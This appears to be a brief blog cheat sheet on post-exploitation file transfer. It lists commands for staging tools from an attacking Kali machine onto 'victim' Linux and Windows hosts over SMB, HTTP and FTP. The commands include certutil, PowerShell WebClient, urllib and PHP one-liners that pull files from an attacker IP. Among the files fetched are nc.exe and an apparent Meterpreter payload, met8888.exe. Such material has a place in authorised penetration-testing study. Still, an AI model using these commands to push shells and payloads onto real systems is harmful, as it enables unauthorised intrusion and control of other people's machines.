Below method discuss file transfer from Attacking machine (Kali Linux) to the victim machine (Linux/ Windows) via different protocols.
1) SMB:
Attacking Machine- Kali Linux:
Download smbserver.py
Run the command: python smbserver.py ROPNOP /root/shells
Victim Machine- Linux
smbclient //ip/shells -L user
Victim Machine- Windows
net view //ip
dir \\ip\shells
cp \\io\shells\nc.exe
2) HTTP:
Attacking Machine- Kali Linux:
Python -m SimpleHTTPServer 80
(or)
service apache2 start
Victim Machine- Linux
wget http://ip/file.exe
Victim Machine- Windows
certutil.exe -urlcache -split -f "http://<ip>/file.ext" file.ext (or)
import urllib, urllib.urlretrieve ("http://IP/nc.exe", "nc.exe") (or)
(New-Object System.Net.WebClient).DownloadFile("https://example.com/archive.zip", "C:\Windows\Temp\archive.zip")
(or)
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
(or)
if gui is available (ie. RDP)
3) FTP:
Attacking Machine- Kali Linux:
apt-get install python-pyftpdlib
python -m pyftpdlib -p 21
Victim Machine- Linux
ftp <ip> <port>
Victim Machine- Windows
echo open 10.9.122.8>ftp_commands.txt&echo anonymous>>ftp_commands.txt&echo password>>ftp_commands.txt&echo binary>>ftp_commands.txt&echo get met8888.exe>>ftp_commands.txt&echo bye>>ftp_commands.txt&ftp -s:ftp_commands.txt
No comments:
Post a Comment